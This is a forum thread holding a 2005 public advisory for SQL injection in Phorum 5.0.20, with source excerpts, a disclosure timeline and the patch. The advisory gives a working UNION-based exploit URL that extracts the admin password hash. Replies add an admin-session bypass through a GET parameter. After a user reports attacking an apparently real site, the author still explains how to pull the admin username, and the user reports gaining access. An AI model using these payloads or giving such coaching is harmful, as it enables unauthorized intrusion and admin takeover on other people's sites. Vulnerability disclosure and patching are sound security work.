Waraxe IT Security Portal
Login or Register
December 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 99
Members: 0
Total: 99
Full disclosure
CyberDanube Security Research 20241219-0 | Authenticated Remote Code Execution in Ewon Flexy 205
Stored XSS with Filter Bypass - blogenginev3.3.8
[SYSS-2024-085]: Broadcom CA Client Automation - Improper Privilege Management (CWE-269)
[KIS-2024-07] GFI Kerio Control <= 9.4.5 Multiple HTTP Response Splitting Vulnerabilities
RansomLordNG - anti-ransomware exploit tool
APPLE-SA-12-11-2024-9 Safari 18.2
APPLE-SA-12-11-2024-8 visionOS 2.2
APPLE-SA-12-11-2024-7 tvOS 18.2
APPLE-SA-12-11-2024-6 watchOS 11.2
APPLE-SA-12-11-2024-5 macOS Ventura 13.7.2
APPLE-SA-12-11-2024-4 macOS Sonoma 14.7.2
APPLE-SA-12-11-2024-3 macOS Sequoia 15.2
APPLE-SA-12-11-2024-2 iPadOS 17.7.3
APPLE-SA-12-11-2024-1 iOS 18.2 and iPadOS 18.2
SEC Consult SA-20241211-0 :: Reflected Cross-Site Scripting in Numerix License Server Administration System Login
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> All other software -> [waraxe-2005-SA#043] - Sql injection in Phorum 5.0.20
Post new topicReply to topic View previous topic :: View next topic
[waraxe-2005-SA#043] - Sql injection in Phorum 5.0.20
PostPosted: Fri Nov 04, 2005 9:00 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Author: Janek Vind "waraxe"
Date: 04. November 2005
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-43.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Phorum 5.0.20

Homepage: http://phorum.org/


What is Phorum?
Phorum is a web based message board written in PHP.
Phorum is designed with high-availability and visitor ease
of use in mind. Features such as mailing list integration,
easy customization and simple installation make Phorum a
powerful add-in to any website.


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Critical sql injection has been found in Phorum 5.0.0.alpha
to 5.0.20. Phorum 5.1.x branch (in alpha stage) seems to be unaffected.


Details
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Problem lies in uninitialized array "$forum_ids" in "search.php" file.
From source code:

----------------[ from source code ]------------------
$forum_ids[$row["forum_id"]] = $row["forum_id"];

$match_number++;
}

$forums = phorum_db_get_forums($forum_ids);

foreach($arr["rows"] as $key => $row){
$arr["rows"][$key]["forum_url"] =
phorum_get_url(PHORUM_LIST_URL, $row["forum_id"]);
$arr["rows"][$key]["forum_name"] =
$forums[$row["forum_id"]]["name"];
}
----------------[ /from source code ]-----------------

This can give as possibilities to "inject" arbitrary data to "$forum_ids"
array by GPC and next let's look at "phorum_db_get_forums()" function from
"include/db/mysql.php" :

----------------[ from source code ]------------------
if (is_array($forum_ids)) $forum_ids = implode(",", $forum_ids);

$sql = "select * from {$PHORUM['forums_table']} ";
if ($forum_ids){
$sql .= " where forum_id in ($forum_ids)";
} elseif (func_num_args() > 1) {
$sql .= " where parent_id = $parent_id";
if(!defined("PHORUM_ADMIN")) $sql.=" and active=1";
}

$sql .= " order by display_order ASC, name";

$res = mysql_query($sql, $conn);
if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql");

----------------[ /from source code ]-----------------

So sql query manipulation seems to be possible. Now let's try this
in real world ...

[------ real life exploit ------]

http://localhost/phorum520/search.php?1,search=a,page=1,match_type=ALL,
match_dates=30,match_forum=ALL,body=1,author=1,subject=1,&forum_ids[]=-99)
/**/UNION/**/ALL/**/SELECT/**/1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,
16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,21,32/**/FROM/**/phorum_users
/**/WHERE/**/admin=1/**/LIMIT/**/1/*

There are some critical conditions for exploit to be successful.

1. "register_globals" must be "on", so we can poison php variable space
through GPC.

2. "search=a" - this search string must return one or more results.

3. "SELECT/**/1,password" - first number in sql injection, in our case "1",
must be "forum_id" for forum in search results.

4. sql table prefix "phorum_" can be different, but this will give nice sql error
messages and reveal real prefix.

5. Some Phorum versions seems to have different table structure for "phorum_users",
so again, there will be sql error messages. It's easy to overcome this kind of
problem by altering sql injection string as "trial/error".

[----- /real life exploit ------]


See ya and have a nice day ;)


Disclosure timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

01. november 2005 - vendor first contacted
01. november 2005 - vendor response
02. november 2005 - details emailed to vendor
03. november 2005 - vendor released new, patched version
04. november 2005 - public advisory released


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download new Phorum version 5.0.21 from:

http://phorum.org/downloads/phorum-5.0.21.tar.gz

More info: http://phorum.org/story.php?57


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to LINUX, Heintz, murdock, g0df4th3r, slimjim100, shai-tan,
y3dips and all other active members from waraxe community !

Tervitused - Raido Kerna !


Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DX expedition database - http://www.dxdb.com/

Hard disc recovery - http://www.hdd911.com/


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Fri Nov 04, 2005 11:26 pm Reply with quote
Heintz
Valuable expert
Valuable expert
Joined: Jun 12, 2004
Posts: 88
Location: Estonia/Sweden




wee.. great to hear about you Waraxe.

search parts of most software seems to be a bit more complicated then rest of code and more vulnearable.
anyway, great job as usually!! Smile

_________________
AT 14:00 /EVERY:1 DHTTP /oindex.php www.waraxe.us:80 | FIND "SA#037" 1>Nul 2>&1 & IF ERRORLEVEL 0 "c:program filesApache.exe stop & DSAY alarmaaa!"
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Sat Nov 05, 2005 12:28 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Thanx, Heintz!

Yes, search part is hard to code properly and securely and as much as
i have seen various messageboards and other scripts, they all are in trouble, when user will try search something with "weird" characters in search string Laughing
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 05, 2005 11:06 am Reply with quote
shai-tan
Valuable expert
Valuable expert
Joined: Feb 22, 2005
Posts: 477




I told people, you were back but Im not sure if they believed me. lolz.
AWOL there were rumours you were dead or in prison.
Your good at doing a dissapearing act it seems. Razz

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Sat Nov 05, 2005 3:52 pm Reply with quote
IGNOR3
Regular user
Regular user
Joined: Nov 05, 2005
Posts: 6




Thanx a lot!!

But how can I go to the cpanel without cracking the Hash??
View user's profile Send private message
PostPosted: Sat Nov 05, 2005 4:44 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




IGNOR3 wrote:
Thanx a lot!!

But how can I go to the cpanel without cracking the Hash??


My first idea was to handcraft cookies. But let's look at src code:

Code:

function phorum_user_check_session( $cookie = PHORUM_SESSION )
{
$PHORUM = $GLOBALS["PHORUM"];

if ( ( $cookie != PHORUM_SESSION || ( isset( $PHORUM["use_cookies"] ) && $PHORUM["use_cookies"] ) ) && isset( $_COOKIE[$cookie] ) ) { // REAL cookies ;)
$sessid = $_COOKIE[$cookie];
$GLOBALS["PHORUM"]["use_cookies"]=true;
} elseif ( isset( $PHORUM["args"][$cookie] ) ) { // in the p5-urls
$sessid = $PHORUM["args"][$cookie];
$GLOBALS["PHORUM"]["use_cookies"]=false;
} elseif ( isset( $_POST[$cookie] ) ) {
$sessid = $_POST[$cookie];
$GLOBALS["PHORUM"]["use_cookies"]=false;
} elseif ( isset( $_GET[$cookie] ) ) { // should rarely happen but helps in some cases
$sessid = $_GET[$cookie];
$GLOBALS["PHORUM"]["use_cookies"]=false;
}


You see? There are many possibilities to deliver admin username and hash, even by $_GET variable Wink

So try this:

Code:

http://localhost/phorum520/admin.php?phorum_admin_session=username:md5hash


username is admin username, which one you can pull out from database in same way as md5 hash Razz

And best part of story - you must make this GET request only once, and after that admin cookie will be created and you can administer phorum messageboard as full power admin Cool
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 05, 2005 5:16 pm Reply with quote
IGNOR3
Regular user
Regular user
Joined: Nov 05, 2005
Posts: 6




ThankYou.... But it doesn't work

example if you go to this site: http://xxxxxx.org/phorum

and inject it.... you will find this:

User: yyyyyy

md5: 33fe766b790c0dc842f5ad1219846a53

But when I go to this link:

http://xxxxxxxx.org/phorum/admin.php?phorum_admin_session=yyyyyy:33fe766b790c0dc842f5ad1219846a53

it shows login page Sad
View user's profile Send private message
PostPosted: Sat Nov 05, 2005 6:39 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




First of all - NO REAL URL-s here!!! This is not allowed in this forum!

Next - admin username is different from that you can see in forum messages. Actually, admin username is secret. But you can use same sql injection to reveal that username.
Just modify injection:

from

Code:

... SELECT/**/1,password,3,4,5,6,7,8 ...


to

Code:

... SELECT/**/1,username,3,4,5,6,7,8 ...


And when you use those username and password, then it will work.
By the way, i suggest to use Firefox and before exploiting clear cookies cache (just in case).

Very Happy
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 05, 2005 6:45 pm Reply with quote
IGNOR3
Regular user
Regular user
Joined: Nov 05, 2005
Posts: 6




WoW!!!

Nice!!

It Worked for me!!

Shocked Good Job Waraxe
View user's profile Send private message
PostPosted: Sat Nov 05, 2005 6:48 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Nice to hear about success Very Happy
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Nov 06, 2005 5:28 am Reply with quote
zer0-c00l
Advanced user
Advanced user
Joined: Jun 25, 2004
Posts: 72
Location: BRAZIL!




Nice Waraxe!

Its good to know you're alive hehehe Very Happy
View user's profile Send private message
PostPosted: Sat Nov 12, 2005 12:20 am Reply with quote
y3dips
Valuable expert
Valuable expert
Joined: Feb 25, 2005
Posts: 281
Location: Indonesia




wow, nice to see u again waraxe Razz
nice advisories you bring out !

btw, have u tested the exploit by inserting "system <cmd>" so attacker able to gain communication with system Wink (my friends told me about the technique, while im gone away from internet coz of less bandwidth)

_________________
IO::y3dips->new(http://clog.ammar.web.id);
View user's profile Send private message Visit poster's website Yahoo Messenger
PostPosted: Sat Nov 12, 2005 4:14 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Hi y3dips! Nice to see ya too Very Happy

Well, do you mean "INTO OUTFILE" methods like this one:

http://www.milw0rm.com/id.php?id=1270

Actually I believe, that in most of the cases there is no "File_priv" privileges available for current mysql user.

Those admins - they are so paranoid in this days Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 12, 2005 1:08 pm Reply with quote
y3dips
Valuable expert
Valuable expert
Joined: Feb 25, 2005
Posts: 281
Location: Indonesia




yeah, thats what i mean bro Smile
i agree with u about priv restriction , but somehow there still many 'box' maintain by certified admin (not technicall admin Laughing)

i think no need to put it for a play, better for "user" to create their own explo , so u wont bother about vendor reporting Razz

what u are Proof are more than enough Razz

_________________
IO::y3dips->new(http://clog.ammar.web.id);
View user's profile Send private message Visit poster's website Yahoo Messenger
PostPosted: Tue Nov 22, 2005 2:45 pm Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




exellent job janek Smile
View user's profile Send private message Visit poster's website
[waraxe-2005-SA#043] - Sql injection in Phorum 5.0.20
www.waraxe.us Forum Index -> All other software
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.036 Seconds